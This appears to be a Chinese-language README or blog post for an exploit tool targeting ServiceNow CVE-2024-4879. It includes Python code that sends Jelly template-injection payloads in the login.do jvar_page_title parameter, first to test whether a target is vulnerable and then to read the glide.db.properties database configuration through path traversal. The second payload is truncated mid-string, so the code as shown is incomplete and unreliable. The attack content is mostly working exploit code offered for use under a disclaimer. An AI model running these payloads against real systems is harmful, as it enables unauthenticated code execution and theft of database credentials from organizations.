ServiceNow CVE-2024-4879 漏洞利用工具 | 远程代码执行检测与数据提取

3 阅读2分钟

🔒 CVE-2024-4879 ServiceNow 漏洞利用工具

ServiceNow 是一个业务转型平台,帮助企业管理企业运营的数字工作流。CVE-2024-4879 漏洞允许未经身份验证的用户在 Now Platform 中远程执行代码。该漏洞通过链式利用三个问题:标题注入、模板注入缓解绕过和文件系统过滤器绕过,来访问 ServiceNow 数据。

受影响的版本包括 Vancouver、Washington DC Now 和 Utah 平台版本。

📦 安装指南

系统要求

  • Python 3.6+
  • 网络访问权限(HTTPS)

依赖安装

# 安装所需依赖
pip install requests urllib3

获取工具

git clone https://github.com/your-repo/CVE-2024-4879-ServiceNow.git
cd CVE-2024-4879-ServiceNow

💻 核心代码

漏洞检测模块

def checkVuln(targetIP):
    try:
        checkUrl = f"https://{targetIP}/login.do?jvar_page_title=%3Cstyle%3E%3Cj:jelly%20xmlns:j=%22jelly%22%20xmlns:g=%27glide%27%3E%3Cg:evaluate%3Egs.addErrorMessage(668.5*2);%3C/g:evaluate%3E%3C/j:jelly%3E%3C/style%3E"
        print("\033[92m\n[+] Checking the target \n \033[0m")
        response = requests.get(checkUrl, verify=False, timeout=10)
        
        if response.status_code == 200:
            if '1337' in response.text:
                print("\033[92mTarget is vulnerable!! \033[0m \n")
                getUserChoice = input("\033[92mFetch DB Info? (Y)es or (N)o \033[0m \n")
                if getUserChoice.lower() in ["y", "yes"]:
                    getDBinfo(targetIP)
                else:
                    sys.exit("Exiting..")
            else:
                print("\033[91mTarget might not be vulnerable...\033[0m")
        else:
            print("\033[91mTarget cannot be reached...\033[0m")
            sys.exit("Exiting..")
    except Exception as e:
        sys.exit(f"Some error occured: {e}")

数据库信息提取模块

def getDBinfo(targetIP):  
    getDBinfoURL = f"https://{targetIP}/login.do?jvar_page_title=%3Cstyle%3E%3Cj:jelly%20xmlns:j=%22jelly:core%22%20xmlns:g=%27glide%27%3E%3Cg:evaluate%3Ez=new%20Packages.java.io.File(%22%22).getAbsolutePath();z=z.substring(0,z.lastIndexOf(%22/%22));u=new%20SecurelyAccess(z.concat(%22/co..nf/glide.db.properties%22)).getB"
    # 通过路径遍历读取 glide.db.properties 配置文件
    response = requests.get(getDBinfoURL, verify=False, timeout=10)
    if response.status_code == 200:
        print("[+] Database information retrieved successfully")
        # 处理并显示数据库配置信息
    else:
        print("[-] Failed to retrieve database information")

ASCII 艺术横幅

def ascii():
    art = print("""   _  _         _     _   _          ___ _       
 | || |__ _ __| |__ | |_| |_  ___  | _ \ |__ _ _ _  ___| |_ 
 | __ / _` / _| / / |  _| ' \/ -_) |  _/ / _` | ' \/ -_)  _|
 |_||_\__,_\__|_\_\  \__|_||_\___| |_| |_\__,_|_||_\___|\__|
""")
    return art

⚠️ 免责声明

本工具仅用于教育和授权的安全测试目的。禁止非法/未经授权使用本工具。使用者需对任何误用或由本脚本造成的损害承担全部责任,代码作者不承担任何责任。

🔗 参考链接